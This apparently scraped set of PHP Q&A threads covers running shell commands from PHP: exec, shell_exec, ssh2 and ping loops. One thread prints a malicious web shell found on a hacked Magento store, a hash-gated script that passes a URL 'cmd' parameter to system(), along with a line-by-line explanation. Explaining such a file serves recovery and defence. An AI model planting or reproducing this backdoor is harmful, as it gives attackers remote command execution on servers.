Detect running process (and start if not run) under windows - php

Here is a code I use to check if process is running under windows, in this case calc.exe
I'm trying to start calc.exe if this one not figure out in task list.
If calc.exe is not started, is opened when run php script, but page remain in a loop until i close calc.exe.
Where do I wrong?
Help is appreciated.
// START SHOW TASKLIST
// Get Tasklist
exec("tasklist 2>NUL", $task_list);
//print_r($task_list);
echo '<pre>'; print_r($task_list); echo '</pre>';
// END SHOW TASKLIST
// Service running
$kill_pattern = '~(calc)\.exe~i';
// Create array
$task_list = array();
exec("tasklist 2>NUL", $task_list);
foreach ($task_list AS $task_line) {
if (preg_match($kill_pattern, $task_line, $out)) {
echo "=> Detected: ".$out[1]."\n !\n";
$is_running = '1';
break;
}
}
if ($is_running == '1') {
echo 'Nothing to do';
exit;
} else {
// open calc.exe
exec("calc.exe");
exit;
}

Please use this code to avoid script hang up
Change
exec(calc.exe);
With
pclose(popen('start /B cmd /C "calc.exe >NUL 2>NUL"', 'r'));

Related

shell_exec not giving any result, and not doing anything

So I have question which in my head should seem very simple to solve.
I want to ssh to a server, which I have done a ton of times, and then make a shell execute which I have done a ton of times as well, but it is not working.
The code i am using
<?php
$ip = '1.2.3.4';
$cmd = "ssh user#".$ip;
$result = shell_exec($cmd." 'sudo /bin/systemctl stop wildfly.service'");
echo "<pre>output: $result</pre>";
echo "<div class='alert alert-success'><strong>SUCCESS</strong><br>Wildfly node has now restarted</div>";
?>
Running the command directly from the terminal
ssh user#1.2.3.4 sudo /bin/systemctl stop wildfly.service
It works, but running it within php gives me nothing, and it not doing anything.
Can someone maybe guide me to what I am doing wrong with my shell_exec?
Thanks in advance!
function execPrint($command) {
try {
$result = array();
exec($command.' 2>&1', $result);
foreach ($result as $line) {
print($line . "\n");
}
echo '------------------------' . "\n" . "\n";
} catch (\Exception $e) {
print($e);
}
http_response_code(200);
}
i made this function to get result
add 2>&1 in last of the CMD
use print with every line
use try and catch to catch any error
The user attempting to execute those shell commands from php is likely _www and not you. Try this code in your php to gain insight:
$shellscript = 'whoami';
$sr = shell_exec($shellscript);
echo '['.$sr.']';
Make sure the shell_exec function is not disabled. It usually is disabled by default in CPanel accounts PHP.ini and PHP-FPM .ini files.
You can check it using this validation
if (is_callable('shell_exec') && (false === stripos(ini_get('disable_functions'), 'shell_exec'))) {
echo "shell_exec enabled";
} else {
echo "shell_exec disabled";
}
It's the most common reason i've found for shell_exec to return always empty
You can also execute a quick command for testing purpouses
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
echo "Command: shell_exec('ls -lart')";
try {
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
} catch (Exception $e) {
echo $e->getMessage();
}

How to know that a command was executed and finished to execute another one(ssh - php )

I'm creating a button on my web page.I want that when someone presses this button an execution of a process of Linux commands on my first server (like "cd file" "./file_to_execute"..) when these commandes are done and finished i want to connect on another server by ssh and to execute another commands.
the probleme is how can i know that the commands before are already finished to proceed to the second part which is to connect on another server .
to resume :
first step connect on the first server , execute some commands
=> when these commands are done ( the part i dont know how to do it )
second step : to connect on another server and execute some others commands.
I'm searching for a way that will allows me to add some pop up to inform the user of my web page that he finished the first step and he started the second.
<?php
$hostname = '192.177.0.252';
$username = 'pepe';
$password = '*****';
$commande = 'cd file && ./file_one.sh';
if (false === $connection_first = ssh2_connect($hostname, 22)) {
echo 'failed<br />';
exit();
}
else {
echo 'Connected<br />';
}
if (false === ssh2_auth_password($connection_first, $username, $password)) {
echo 'failed<br />';
exit();
}
else {
echo 'done !<br />';
}
if (false === $stream = ssh2_exec($connection_first, $commande)) {
echo "error<br />";
}
?>
Thanks
PS: sorry for my English, I'm from Barcelone
To handle events where an exception occurs i would recommend using a try/catch statement, like the one below:
try {
echo inverse(5) . "\n";
echo inverse(0) . "\n";
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
}
When you're trying to handle events and need to know when they finish, there are a few ways to achieve this. You can either set a boolean to true after the command has been executed (like what you are already doing). OR you can return output from the command by printing the output to a txt file and then echoing out the returns of this file. See code below:
exec ('/usr/bin/flush-cache-mage > /tmp/.tmp-mxadmin');
$out = nl2br(file_get_contents('/tmp/.tmp-mxadmin'));
echo $out;
At this point you can create conditions based off of what is returned in the $out variable.

Can anyone explain this script?

I'm trying to recover a hacked Magento store, and found a file named magento.php in the errors folder within the Magento root directory. I know it's malicious but I can't really figure out what it's doing. Any ideas?
<?php
if(md5($_GET["hash"])=="b4c44d5ce1c6c4b60c1c3d05a7d3e58d") {
echo "<pre>";
$cmd = ($_GET['cmd']);
$ret = system($cmd);
print $ret;
echo "</pre>";
die;
} else {
print "-1";
}
?>
It is simple php functionality which accessing parameters from the url and trying to execute the same.
<?php
if(md5($_GET["hash"])=="b4c44d5ce1c6c4b60c1c3d05a7d3e58d") {// check the hash parameter in the url and convert it to md5 standard. If that matches the value then execute steps inside this braces
echo "<pre>"; // print "<pre> tag on screen
$cmd = ($_GET['cmd']); // get the cmd parameter from url
$ret = system($cmd); // execute that cmd parameter as command
print $ret; // print the return value of the system function
echo "</pre>"; // print "</pre> tag on screen
die; // stop execution at this line
} else { // if hash do not match
print "-1"; // print -1 on screen
}
?>

Ping multiple IP address using for loop and exec command

I wanna run this with multiple IP and check if IPs are alive, unreachable or request time-out. I could not point out where I got mistake. I ran this without using loop and it works fine, but won't work for multiple IPs with for-loop. Help will be appreciated =)
for ($ipa=100; $ipa <= 110; $ipa++){
$ip = "192.168.254.{$ipa}";
exec ("ping -n 1 -w 1 $ip && exit", $ping_output);
if(preg_match("/TTL/i", $ping_output[2])) {
echo "{$ip} is On <br/>";
} else if("unreachable"){
echo "{$ip} is unreachable <br/>";
} else if("Request"){
echo "{$ip} is Off <br/>";
}
}
Looking at -n switch you are running this on Windows. There are some caveats running exec on Windows but since it worked once I won't go there. The other thing is that you need to unset $ping_output each time so the script uses the most recent data. Otherwise exec will just append data to this array. Finally those else if clauses will always return true.
It will help if you post some output from the var_dump line to see if there was an error running ping with a specific IP.
Here is my suggestion for this script. I have changed the preg_match to stripos which is much faster way to check if a substring is present.
for ($ipa=100; $ipa <= 110; $ipa++){
$ip = "192.168.254.".$ipa;
$ping_output=array();
exec ("ping -n 1 -w 1 $ip 2>&1", $ping_output, $return_val);
echo $ip." -> ".$return_val."<br/>".implode('<br/>',$ping_output).'<br/>';
if(stripos($ping_output[2],"TTL")!==false) {
echo $ip." is On <br/>";
} else if(stripos($ping_output[2],"unreachable")!==false){
echo $ip." is unreachable <br/>";
} else if(stripos($ping_output[2],"request")!==false){
echo $ip." is Off <br/>";
}
}
You can rite your ips into a text file and then ping ips by using that file like;
for ($ipa=100; $ipa <= 110; $ipa++){
$ip = "192.168.254.{$ipa}";
exec ("ping -n 1 -w 1 $ip 2>&1", $ping_output, $return_val);
var_dump(array($ping_output, $return_val));
if(preg_match("/TTL/i", $ping_output[2])) {
echo "{$ip} is On <br/>";
} else if("unreachable"){
echo "{$ip} is unreachable <br/>";
} else if("Request"){
echo "{$ip} is Off <br/>";
}
}

How to mimic a command line run with arguements inside a PHP script?

How can you mimic a command line run of a script with arguements inside a PHP script? Or is that not possible?
In other words, let's say you have the following script:
#!/usr/bin/php
<?php
require "../src/php/whatsprot.class.php";
function fgets_u($pStdn) {
$pArr = array($pStdn);
if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
return FALSE;
} elseif ($num_changed_streams > 0) {
return trim(fgets($pStdn, 1024));
}
}
$nickname = "WhatsAPI Test";
$sender = ""; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$countrycode = substr($sender, 0, 2);
$phonenumber=substr($sender, 2);
if ($argc < 2) {
echo "USAGE: ".$_SERVER['argv'][0]." [-l] [-s <phone> <message>] [-i <phone>]\n";
echo "\tphone: full number including country code, without '+' or '00'\n";
echo "\t-s: send message\n";
echo "\t-l: listen for new messages\n";
echo "\t-i: interactive conversation with <phone>\n";
exit(1);
}
$dst=$_SERVER['argv'][2];
$msg = "";
for ($i=3; $i<$argc; $i++) {
$msg .= $_SERVER['argv'][$i]." ";
}
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, true);
$url = "https://r.whatsapp.net/v1/exist.php?cc=".$countrycode."&in=".$phonenumber."&udid=".$wa->encryptPassword();
$content = file_get_contents($url);
if(stristr($content,'status="ok"') === false){
echo "Wrong Password\n";
exit(0);
}
$wa->Connect();
$wa->Login();
if ($_SERVER['argv'][1] == "-i") {
echo "\n[] Interactive conversation with $dst:\n";
stream_set_timeout(STDIN,1);
while(TRUE) {
$wa->PollMessages();
$buff = $wa->GetMessages();
if(!empty($buff)){
print_r($buff);
}
$line = fgets_u(STDIN);
if ($line != "") {
if (strrchr($line, " ")) {
// needs PHP >= 5.3.0
$command = trim(strstr($line, ' ', TRUE));
} else {
$command = $line;
}
switch ($command) {
case "/query":
$dst = trim(strstr($line, ' ', FALSE));
echo "[] Interactive conversation with $dst:\n";
break;
case "/accountinfo":
echo "[] Account Info: ";
$wa->accountInfo();
break;
case "/lastseen":
echo "[] Request last seen $dst: ";
$wa->RequestLastSeen("$dst");
break;
default:
echo "[] Send message to $dst: $line\n";
$wa->Message(time()."-1", $dst , $line);
break;
}
}
}
exit(0);
}
if ($_SERVER['argv'][1] == "-l") {
echo "\n[] Listen mode:\n";
while (TRUE) {
$wa->PollMessages();
$data = $wa->GetMessages();
if(!empty($data)) print_r($data);
sleep(1);
}
exit(0);
}
echo "\n[] Request last seen $dst: ";
$wa->RequestLastSeen($dst);
echo "\n[] Send message to $dst: $msg\n";
$wa->Message(time()."-1", $dst , $msg);
echo "\n";
?>
To run this script, you are meant to go to the Command Line, down to the directory the file is in, and then type in something like php -s "whatsapp.php" "Number" "Message".
But what if I wanted to bypass the Command Line altogether and do that directly inside the script so that I can run it at any time from my Web Server, how would I do that?
First off, you should be using getopt.
In PHP it supports both short and long formats.
Usage demos are documented at the page I've linked to. In your case, I suspect you'll have difficulty detecting whether a <message> was included as your -s tag's second parameter. It will probably be easier to make the message a parameter for its own option.
$options = getopt("ls:m:i:");
if (isset($options["s"] && !isset($options["m"])) {
die("-s needs -m");
}
As for running things from a web server ... well, you pass variables to a command line PHP script using getopt() and $argv, but you pass variables from a web server using $_GET and $_POST. If you can figure out a sensible way to map $_GET variables your command line options, you should be good to go.
Note that a variety of other considerations exist when taking a command line script and running it through a web server. Permission and security go hand in hand, usually as inverse functions of each other. That is, if you open up permissions so that it's allowed to do what it needs, you may expose or even create vulnerabilities on your server. I don't recommend you do this unless you'll more experienced, or you don't mind if things break or get attacked by script kiddies out to 0wn your server.
You're looking for backticks, see
http://php.net/manual/en/language.operators.execution.php
Or you can use shell_exec()
http://www.php.net/manual/en/function.shell-exec.php

Categories